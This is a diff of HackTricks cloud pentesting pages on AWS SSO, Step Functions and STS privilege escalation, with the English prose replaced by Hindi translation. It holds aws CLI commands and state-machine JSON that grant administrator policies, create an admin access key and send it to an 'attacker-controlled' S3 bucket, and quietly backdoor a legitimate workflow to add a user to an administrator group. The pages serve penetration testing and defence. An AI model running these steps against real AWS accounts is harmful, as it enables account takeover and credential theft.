Codebuild - -You can also use SSM to get inside a codebuild project being built: +आप SSM का उपयोग करके एक कोडबिल्ड प्रोजेक्ट में प्रवेश कर सकते हैं जो बनाया जा रहा है: {{#ref}} aws-codebuild-privesc.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md index 0fb4e10a1..7d6fbae4e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md @@ -4,58 +4,53 @@ ## AWS Identity Center / AWS SSO -For more information about AWS Identity Center / AWS SSO check: +AWS Identity Center / AWS SSO के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} > [!WARNING] -> Note that by **default**, only **users** with permissions **form** the **Management Account** are going to be able to access and **control the IAM Identity Center**.\ -> Users from other accounts can only allow it if the account is a **Delegated Adminstrator.**\ -> [Check the docs for more info.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) +> ध्यान दें कि **डिफ़ॉल्ट** रूप से, केवल **प्रबंधन खाता** के साथ **अनुमतियाँ** वाले **उपयोगकर्ता** IAM पहचान केंद्र तक पहुँच और **नियंत्रण** कर सकेंगे।\ +> अन्य खातों के उपयोगकर्ता केवल तभी अनुमति दे सकते हैं यदि खाता **प्रतिनिधि प्रशासक** है।\ +> [अधिक जानकारी के लिए दस्तावेज़ देखें।](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html) -### ~~Reset Password~~ +### ~~पासवर्ड रीसेट करें~~ -An easy way to escalate privileges in cases like this one would be to have a permission that allows to reset users passwords. Unfortunately it's only possible to send an email to the user to reset his password, so you would need access to the users email. +इस तरह के मामलों में विशेषाधिकार बढ़ाने का एक आसान तरीका यह होगा कि एक अनुमति हो जो उपयोगकर्ताओं के पासवर्ड रीसेट करने की अनुमति देती है। दुर्भाग्यवश, उपयोगकर्ता के पासवर्ड को रीसेट करने के लिए केवल उपयोगकर्ता को एक ईमेल भेजना संभव है, इसलिए आपको उपयोगकर्ता के ईमेल तक पहुँच की आवश्यकता होगी। ### `identitystore:CreateGroupMembership` -With this permission it's possible to set a user inside a group so he will inherit all the permissions the group has. - +इस अनुमति के साथ, एक उपयोगकर्ता को एक समूह के अंदर सेट करना संभव है ताकि वह समूह की सभी अनुमतियाँ विरासत में ले सके। ```bash aws identitystore create-group-membership --identity-store-id --group-id --member-id UserId= ``` - ### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control - +इस अनुमति के साथ एक हमलावर एक उपयोगकर्ता को दिए गए अनुमति सेट को अतिरिक्त अनुमतियाँ दे सकता है जो उसके नियंत्रण में है। ```bash # Set an inline policy with admin privileges aws sso-admin put-inline-policy-to-permission-set --instance-arn --permission-set-arn --inline-policy file:///tmp/policy.yaml # Content of /tmp/policy.yaml { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Statement1", - "Effect": "Allow", - "Action": ["*"], - "Resource": ["*"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Statement1", +"Effect": "Allow", +"Action": ["*"], +"Resource": ["*"] +} +] } # Update the provisioning so the new policy is created in the account aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control - +इस अनुमति के साथ एक हमलावर एक उपयोगकर्ता को दिए गए अनुमति सेट को अतिरिक्त अनुमतियाँ दे सकता है जो उसके नियंत्रण में है। ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess" @@ -63,14 +58,12 @@ aws sso-admin attach-managed-policy-to-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet` -An attacker with this permission could grant extra permissions to a Permission Set that is granted to a user under his control. +इस अनुमति के साथ एक हमलावर एक Permission Set को अतिरिक्त अनुमतियाँ दे सकता है जो उसके नियंत्रण में एक उपयोगकर्ता को दी गई है। > [!WARNING] -> To abuse these permissions in this case you need to know the **name of a customer managed policy that is inside ALL the accounts** that are going to be affected. - +> इन अनुमतियों का दुरुपयोग करने के लिए, आपको यह जानना आवश्यक है कि **एक ग्राहक प्रबंधित नीति का नाम जो सभी खातों के अंदर है** जो प्रभावित होने वाले हैं। ```bash # Set AdministratorAccess policy to the permission set aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference @@ -78,59 +71,42 @@ aws sso-admin attach-customer-managed-policy-reference-to-permission-set --insta # Update the provisioning so the new policy is created in the account aws sso-admin provision-permission-set --instance-arn --permission-set-arn --target-type ALL_PROVISIONED_ACCOUNTS ``` - ### `sso:CreateAccountAssignment` -An attacker with this permission could give a Permission Set to a user under his control to an account. - +इस अनुमति के साथ एक हमलावर एक उपयोगकर्ता को अपने नियंत्रण में एक खाता देने के लिए एक अनुमति सेट दे सकता है। ```bash aws sso-admin create-account-assignment --instance-arn --target-id --target-type AWS_ACCOUNT --permission-set-arn --principal-type USER --principal-id ``` - ### `sso:GetRoleCredentials` -Returns the STS short-term credentials for a given role name that is assigned to the user. - +उपयोगकर्ता को सौंपे गए एक दिए गए भूमिका नाम के लिए STS अल्पकालिक क्रेडेंशियल्स लौटाता है। ``` aws sso get-role-credentials --role-name --account-id --access-token ``` - -However, you need an access token that I'm not sure how to get (TODO). +हालांकि, आपको एक एक्सेस टोकन की आवश्यकता है जिसे प्राप्त करने का मुझे पता नहीं है (TODO). ### `sso:DetachManagedPolicyFromPermissionSet` -An attacker with this permission can remove the association between an AWS managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**. - +इस अनुमति के साथ एक हमलावर निर्दिष्ट अनुमति सेट से AWS प्रबंधित नीति के बीच संबंध को हटा सकता है। **एक प्रबंधित नीति (निषेध नीति) को हटाकर** अधिक विशेषाधिकार प्रदान करना संभव है। ```bash aws sso-admin detach-managed-policy-from-permission-set --instance-arn --permission-set-arn --managed-policy-arn ``` - ### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet` -An attacker with this permission can remove the association between a Customer managed policy from the specified permission set. It is possible to grant more privileges via **detaching a managed policy (deny policy)**. - +इस अनुमति के साथ एक हमलावर निर्दिष्ट अनुमति सेट से ग्राहक प्रबंधित नीति के बीच संबंध को हटा सकता है। **प्रबंधित नीति (निषेध नीति)** को हटाकर अधिक विशेषाधिकार प्रदान करना संभव है। ```bash aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn --permission-set-arn --customer-managed-policy-reference ``` - ### `sso:DeleteInlinePolicyFromPermissionSet` -An attacker with this permission can action remove the permissions from an inline policy from the permission set. It is possible to grant **more privileges via detaching an inline policy (deny policy)**. - +इस अनुमति के साथ एक हमलावर अनुमति सेट से एक इनलाइन नीति से अनुमतियों को हटाने की क्रिया कर सकता है। एक इनलाइन नीति (निषेध नीति) को अलग करके **अधिक विशेषाधिकार प्रदान करना संभव है**। ```bash aws sso-admin delete-inline-policy-from-permission-set --instance-arn --permission-set-arn ``` - ### `sso:DeletePermissionBoundaryFromPermissionSet` -An attacker with this permission can remove the Permission Boundary from the permission set. It is possible to grant **more privileges by removing the restrictions on the Permission Set** given from the Permission Boundary. - +इस अनुमति के साथ एक हमलावर अनुमति सेट से अनुमति सीमा को हटा सकता है। यह **अनुमति सीमा से दी गई अनुमति सेट पर प्रतिबंधों को हटाकर अधिक विशेषाधिकार देने** के लिए संभव है। ```bash aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn --permission-set-arn ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md index bfc3adb77..eb59488d6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -4,7 +4,7 @@ ## Step Functions -For more information about this AWS service, check: +इस AWS सेवा के बारे में अधिक जानकारी के लिए, देखें: {{#ref}} ../aws-services/aws-stepfunctions-enum.md @@ -12,65 +12,58 @@ For more information about this AWS service, check: ### Task Resources -These privilege escalation techniques are going to require to use some AWS step function resources in order to perform the desired privilege escalation actions. +इन विशेषाधिकार वृद्धि तकनीकों को वांछित विशेषाधिकार वृद्धि क्रियाओं को करने के लिए कुछ AWS स्टेप फ़ंक्शन संसाधनों का उपयोग करने की आवश्यकता होगी। -In order to check all the possible actions, you could go to your own AWS account select the action you would like to use and see the parameters it's using, like in: +सभी संभावित क्रियाओं की जांच करने के लिए, आप अपने स्वयं के AWS खाते में जा सकते हैं, उस क्रिया का चयन कर सकते हैं जिसे आप उपयोग करना चाहते हैं और देख सकते हैं कि यह कौन से पैरामीटर का उपयोग कर रहा है, जैसे कि:
-Or you could also go to the API AWS documentation and check each action docs: +या आप API AWS दस्तावेज़ में भी जा सकते हैं और प्रत्येक क्रिया के दस्तावेज़ की जांच कर सकते हैं: - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) ### `states:TestState` & `iam:PassRole` -An attacker with the **`states:TestState`** & **`iam:PassRole`** permissions can test any state and pass any IAM role to it without creating or updating an existing state machine, enabling unauthorized access to other AWS services with the roles' permissions. potentially. Combined, these permissions can lead to extensive unauthorized actions, from manipulating workflows to alter data to data breaches, resource manipulation, and privilege escalation. - +एक हमलावर जिसके पास **`states:TestState`** & **`iam:PassRole`** अनुमतियाँ हैं, किसी भी स्थिति का परीक्षण कर सकता है और इसे किसी भी IAM भूमिका को पास कर सकता है बिना किसी मौजूदा स्थिति मशीन को बनाए या अपडेट किए, जिससे अन्य AWS सेवाओं तक अनधिकृत पहुंच संभव हो जाती है। संयुक्त रूप से, ये अनुमतियाँ व्यापक अनधिकृत क्रियाओं की ओर ले जा सकती हैं, जैसे कि कार्यप्रवाहों में हेरफेर करना, डेटा को बदलना, डेटा लीक, संसाधन हेरफेर, और विशेषाधिकार वृद्धि। ```bash aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` - -The following examples show how to test an state that creates an access key for the **`admin`** user leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state to perform the **`iam:CreateAccessKey`** action: +निम्नलिखित उदाहरण दिखाते हैं कि कैसे एक राज्य का परीक्षण किया जाए जो **`admin`** उपयोगकर्ता के लिए एक एक्सेस कुंजी बनाता है, इन अनुमतियों और AWS वातावरण की एक उदार भूमिका का लाभ उठाते हुए। इस उदार भूमिका के साथ कोई उच्च-विशिष्ट नीति जुड़ी होनी चाहिए (उदाहरण के लिए **`arn:aws:iam::aws:policy/AdministratorAccess`**) जो राज्य को **`iam:CreateAccessKey`** क्रिया करने की अनुमति देती है: - **stateDefinition.json**: - ```json { - "Type": "Task", - "Parameters": { - "UserName": "admin" - }, - "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", - "End": true +"Type": "Task", +"Parameters": { +"UserName": "admin" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"End": true } ``` - -- **Command** executed to perform the privesc: - +- **कमांड** जो प्रिवेस्क करने के लिए निष्पादित की गई: ```bash aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole { - "output": "{ - \"AccessKey\":{ - \"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", - \"CreateDate\":\"2024-07-09T16:59:11Z\", - \"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", - \"Status\":\"Active\", - \"UserName\":\"admin\" - } - }", - "status": "SUCCEEDED" +"output": "{ +\"AccessKey\":{ +\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\", +\"CreateDate\":\"2024-07-09T16:59:11Z\", +\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\", +\"Status\":\"Active\", +\"UserName\":\"admin\" +} +}", +"status": "SUCCEEDED" } ``` - -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**संभावित प्रभाव**: कार्यप्रवाहों का अनधिकृत निष्पादन और हेरफेर और संवेदनशील संसाधनों तक पहुंच, संभावित रूप से महत्वपूर्ण सुरक्षा उल्लंघनों की ओर ले जा सकती है। ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -An attacker with the **`states:CreateStateMachine`**& **`iam:PassRole`** would be able to create an state machine and provide to it any IAM role, enabling unauthorized access to other AWS services with the roles' permissions. In contrast with the previous privesc technique (**`states:TestState`** & **`iam:PassRole`**), this one does not execute by itself, you will also need to have the **`states:StartExecution`** or **`states:StartSyncExecution`** permissions (**`states:StartSyncExecution`** is **not available for standard workflows**, **just to express state machines**) in order to start and execution over the state machine. - +एक हमलावर के पास **`states:CreateStateMachine`**& **`iam:PassRole`** होने पर वह एक राज्य मशीन बना सकेगा और उसे किसी भी IAM भूमिका को प्रदान कर सकेगा, जिससे अन्य AWS सेवाओं तक अनधिकृत पहुंच संभव हो जाएगी जिनके पास भूमिकाओं की अनुमतियाँ हैं। पिछले प्रिवेस्क तकनीक (**`states:TestState`** & **`iam:PassRole`**) के विपरीत, यह अपने आप निष्पादित नहीं होता है, आपको **`states:StartExecution`** या **`states:StartSyncExecution`** अनुमतियों की भी आवश्यकता होगी (**`states:StartSyncExecution`** **मानक कार्यप्रवाहों के लिए उपलब्ध नहीं है**, **केवल व्यक्त राज्य मशीनों के लिए**) ताकि राज्य मशीन पर निष्पादन शुरू किया जा सके। ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -82,176 +75,158 @@ aws states start-execution --state-machine-arn [--name ] [--input # Start a Synchronous Express state machine execution aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` - The following examples show how to create an state machine that creates an access key for the **`admin`** user and exfiltrates this access key to an attacker-controlled S3 bucket, leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state machine to perform the **`iam:CreateAccessKey`** & **`s3:putObject`** actions. - **stateMachineDefinition.json**: - ```json { - "Comment": "Malicious state machine to create IAM access key and upload to S3", - "StartAt": "CreateAccessKey", - "States": { - "CreateAccessKey": { - "Type": "Task", - "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", - "Parameters": { - "UserName": "admin" - }, - "ResultPath": "$.AccessKeyResult", - "Next": "PrepareS3PutObject" - }, - "PrepareS3PutObject": { - "Type": "Pass", - "Parameters": { - "Body.$": "$.AccessKeyResult.AccessKey", - "Bucket": "attacker-controlled-S3-bucket", - "Key": "AccessKey.json" - }, - "ResultPath": "$.S3PutObjectParams", - "Next": "PutObject" - }, - "PutObject": { - "Type": "Task", - "Resource": "arn:aws:states:::aws-sdk:s3:putObject", - "Parameters": { - "Body.$": "$.S3PutObjectParams.Body", - "Bucket.$": "$.S3PutObjectParams.Bucket", - "Key.$": "$.S3PutObjectParams.Key" - }, - "End": true - } - } +"Comment": "Malicious state machine to create IAM access key and upload to S3", +"StartAt": "CreateAccessKey", +"States": { +"CreateAccessKey": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"Parameters": { +"UserName": "admin" +}, +"ResultPath": "$.AccessKeyResult", +"Next": "PrepareS3PutObject" +}, +"PrepareS3PutObject": { +"Type": "Pass", +"Parameters": { +"Body.$": "$.AccessKeyResult.AccessKey", +"Bucket": "attacker-controlled-S3-bucket", +"Key": "AccessKey.json" +}, +"ResultPath": "$.S3PutObjectParams", +"Next": "PutObject" +}, +"PutObject": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:s3:putObject", +"Parameters": { +"Body.$": "$.S3PutObjectParams.Body", +"Bucket.$": "$.S3PutObjectParams.Bucket", +"Key.$": "$.S3PutObjectParams.Key" +}, +"End": true +} +} } ``` - -- **Command** executed to **create the state machine**: - +- **Command** executed to **state machine** बनाने के लिए: ```bash aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole { - "stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", - "creationDate": "2024-07-09T20:29:35.381000+02:00" +"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", +"creationDate": "2024-07-09T20:29:35.381000+02:00" } ``` - -- **Command** executed to **start an execution** of the previously created state machine: - +- **Command** executed to **start an execution** of the previously created state machine: + **कमांड** जो पहले बनाए गए राज्य मशीन का **निष्पादन शुरू करने** के लिए निष्पादित किया गया: ```json aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine { - "executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "startDate": "2024-07-09T20:33:35.466000+02:00" +"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"startDate": "2024-07-09T20:33:35.466000+02:00" } ``` - > [!WARNING] -> The attacker-controlled S3 bucket should have permissions to accept an s3:PutObject action from the victim account. +> हमलावर-नियंत्रित S3 बकेट को पीड़ित खाते से s3:PutObject क्रिया स्वीकार करने की अनुमति होनी चाहिए। -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**संभावित प्रभाव**: कार्यप्रवाहों का अनधिकृत निष्पादन और हेरफेर और संवेदनशील संसाधनों तक पहुंच, जो संभावित रूप से महत्वपूर्ण सुरक्षा उल्लंघनों की ओर ले जा सकती है। -### `states:UpdateStateMachine` & (not always required) `iam:PassRole` +### `states:UpdateStateMachine` & (हमेशा आवश्यक नहीं) `iam:PassRole` -An attacker with the **`states:UpdateStateMachine`** permission would be able to modify the definition of an state machine, being able to add extra stealthy states that could end in a privilege escalation. This way, when a legitimate user starts an execution of the state machine, this new malicious stealth state will be executed and the privilege escalation will be successful. +एक हमलावर जिसके पास **`states:UpdateStateMachine`** अनुमति है, वह एक राज्य मशीन की परिभाषा को संशोधित कर सकेगा, अतिरिक्त छिपे हुए राज्यों को जोड़ने में सक्षम होगा जो विशेषाधिकार वृद्धि में समाप्त हो सकते हैं। इस तरह, जब एक वैध उपयोगकर्ता राज्य मशीन का निष्पादन शुरू करता है, तो यह नया दुर्भावनापूर्ण छिपा हुआ राज्य निष्पादित होगा और विशेषाधिकार वृद्धि सफल होगी। -Depending on how permissive is the IAM Role associated to the state machine is, an attacker would face 2 situations: - -1. **Permissive IAM Role**: If the IAM Role associated to the state machine is already permissive (it has for example the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached), then the **`iam:PassRole`** permission would not be required in order to escalate privileges since it would not be necessary to also update the IAM Role, with the state machine definition is enough. -2. **Not permissive IAM Role**: In contrast with the previous case, here an attacker would also require the **`iam:PassRole`** permission since it would be necessary to associate a permissive IAM Role to the state machine in addition to modify the state machine definition. +इस पर निर्भर करते हुए कि राज्य मशीन से संबंधित IAM भूमिका कितनी अनुमति देने वाली है, एक हमलावर को 2 स्थितियों का सामना करना पड़ेगा: +1. **अनुमति देने वाली IAM भूमिका**: यदि राज्य मशीन से संबंधित IAM भूमिका पहले से ही अनुमति देने वाली है (उदाहरण के लिए, इसमें **`arn:aws:iam::aws:policy/AdministratorAccess`** नीति संलग्न है), तो विशेषाधिकार बढ़ाने के लिए **`iam:PassRole`** अनुमति की आवश्यकता नहीं होगी क्योंकि IAM भूमिका को अपडेट करना आवश्यक नहीं होगा, राज्य मशीन की परिभाषा पर्याप्त है। +2. **अनुमति न देने वाली IAM भूमिका**: पिछले मामले के विपरीत, यहां एक हमलावर को **`iam:PassRole`** अनुमति की भी आवश्यकता होगी क्योंकि राज्य मशीन से संबंधित एक अनुमति देने वाली IAM भूमिका को जोड़ना आवश्यक होगा इसके अलावा राज्य मशीन की परिभाषा को संशोधित करना। ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` - The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user **`unprivilegedUser`** to the **`administrator`** IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful. > [!WARNING] -> If the state machine does not have a permissive IAM Role associated, it would also be required the **`iam:PassRole`** permission to update the IAM Role in order to associate a permissive IAM Role (for example one with the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached). +> यदि राज्य मशीन के साथ कोई अनुमत IAM भूमिका जुड़ी नहीं है, तो एक अनुमत IAM भूमिका को अपडेट करने के लिए **`iam:PassRole`** अनुमति भी आवश्यक होगी (उदाहरण के लिए, एक जिसमें **`arn:aws:iam::aws:policy/AdministratorAccess`** नीति संलग्न है)। {{#tabs }} {{#tab name="Legit State Machine" }} - ```json { - "Comment": "Hello world from Lambda state machine", - "StartAt": "Start PassState", - "States": { - "Start PassState": { - "Type": "Pass", - "Next": "LambdaInvoke" - }, - "LambdaInvoke": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" - }, - "Next": "End PassState" - }, - "End PassState": { - "Type": "Pass", - "End": true - } - } +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} } ``` - {{#endtab }} -{{#tab name="Malicious Updated State Machine" }} - +{{#tab name="दुष्ट अपडेटेड स्टेट मशीन" }} ```json { - "Comment": "Hello world from Lambda state machine", - "StartAt": "Start PassState", - "States": { - "Start PassState": { - "Type": "Pass", - "Next": "LambdaInvoke" - }, - "LambdaInvoke": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" - }, - "Next": "AddUserToGroup" - }, - "AddUserToGroup": { - "Type": "Task", - "Parameters": { - "GroupName": "administrator", - "UserName": "unprivilegedUser" - }, - "Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", - "Next": "End PassState" - }, - "End PassState": { - "Type": "Pass", - "End": true - } - } +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "AddUserToGroup" +}, +"AddUserToGroup": { +"Type": "Task", +"Parameters": { +"GroupName": "administrator", +"UserName": "unprivilegedUser" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} } ``` - {{#endtab }} {{#endtabs }} -- **Command** executed to **update** **the legit state machine**: - +- **कमांड** जो **वैध राज्य मशीन** को **अपडेट** करने के लिए **निष्पादित** किया गया: ```bash aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json { - "updateDate": "2024-07-10T20:07:10.294000+02:00", - "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +"updateDate": "2024-07-10T20:07:10.294000+02:00", +"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` - -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**संभावित प्रभाव**: कार्यप्रवाहों का अनधिकृत निष्पादन और हेरफेर और संवेदनशील संसाधनों तक पहुंच, संभावित रूप से महत्वपूर्ण सुरक्षा उल्लंघनों की ओर ले जा सकती है। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index 782bcc237..7d1134f5b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -6,121 +6,101 @@ ### `sts:AssumeRole` -Every role is created with a **role trust policy**, this policy indicates **who can assume the created role**. If a role from the **same account** says that an account can assume it, it means that the account will be able to access the role (and potentially **privesc**). - -For example, the following role trust policy indicates that anyone can assume it, therefore **any user will be able to privesc** to the permissions associated with that role. +हर भूमिका एक **भूमिका ट्रस्ट नीति** के साथ बनाई जाती है, यह नीति इंगित करती है **कौन बनाई गई भूमिका को ग्रहण कर सकता है**। यदि **एक ही खाते** से एक भूमिका कहती है कि एक खाता इसे ग्रहण कर सकता है, तो इसका मतलब है कि खाता भूमिका तक पहुँच प्राप्त कर सकेगा (और संभावित रूप से **privesc**). +उदाहरण के लिए, निम्नलिखित भूमिका ट्रस्ट नीति इंगित करती है कि कोई भी इसे ग्रहण कर सकता है, इसलिए **कोई भी उपयोगकर्ता उस भूमिका से संबंधित अनुमतियों के लिए privesc** कर सकेगा। ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] } ``` - -You can impersonate a role running: - +आप एक भूमिका का अनुकरण कर सकते हैं: ```bash aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ``` - -**Potential Impact:** Privesc to the role. +**संभावित प्रभाव:** भूमिका के लिए प्रिवेस्क। > [!CAUTION] -> Note that in this case the permission `sts:AssumeRole` needs to be **indicated in the role to abuse** and not in a policy belonging to the attacker.\ -> With one exception, in order to **assume a role from a different account** the attacker account **also needs** to have the **`sts:AssumeRole`** over the role. +> ध्यान दें कि इस मामले में अनुमति `sts:AssumeRole` को **दुरुपयोग के लिए भूमिका में निर्दिष्ट किया जाना चाहिए** और हमलावर की नीति में नहीं।\ +> एक अपवाद के साथ, **किसी अन्य खाते से भूमिका को मान लेना** के लिए हमलावर खाते को **भी** भूमिका पर **`sts:AssumeRole`** होना चाहिए। ### **`sts:GetFederationToken`** -With this permission it's possible to generate credentials to impersonate any user: - +इस अनुमति के साथ किसी भी उपयोगकर्ता की नकल करने के लिए क्रेडेंशियल्स उत्पन्न करना संभव है: ```bash aws sts get-federation-token --name ``` - -This is how this permission can be given securely without giving access to impersonate other users: - +यह इस तरह से इस अनुमति को सुरक्षित रूप से दिया जा सकता है बिना अन्य उपयोगकर्ताओं की नकल करने के लिए पहुँच दिए: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "VisualEditor0", - "Effect": "Allow", - "Action": "sts:GetFederationToken", - "Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "VisualEditor0", +"Effect": "Allow", +"Action": "sts:GetFederationToken", +"Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}" +} +] } ``` - ### `sts:AssumeRoleWithSAML` -A trust policy with this role grants **users authenticated via SAML access to impersonate the role.** - -An example of a trust policy with this permission is: +इस भूमिका के साथ एक ट्रस्ट नीति **SAML के माध्यम से प्रमाणित उपयोगकर्ताओं को भूमिका का अनुकरण करने की अनुमति देती है।** +इस अनुमति के साथ एक ट्रस्ट नीति का उदाहरण है: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "OneLogin", - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" - }, - "Action": "sts:AssumeRoleWithSAML", - "Condition": { - "StringEquals": { - "SAML:aud": "https://signin.aws.amazon.com/saml" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OneLogin", +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" +}, +"Action": "sts:AssumeRoleWithSAML", 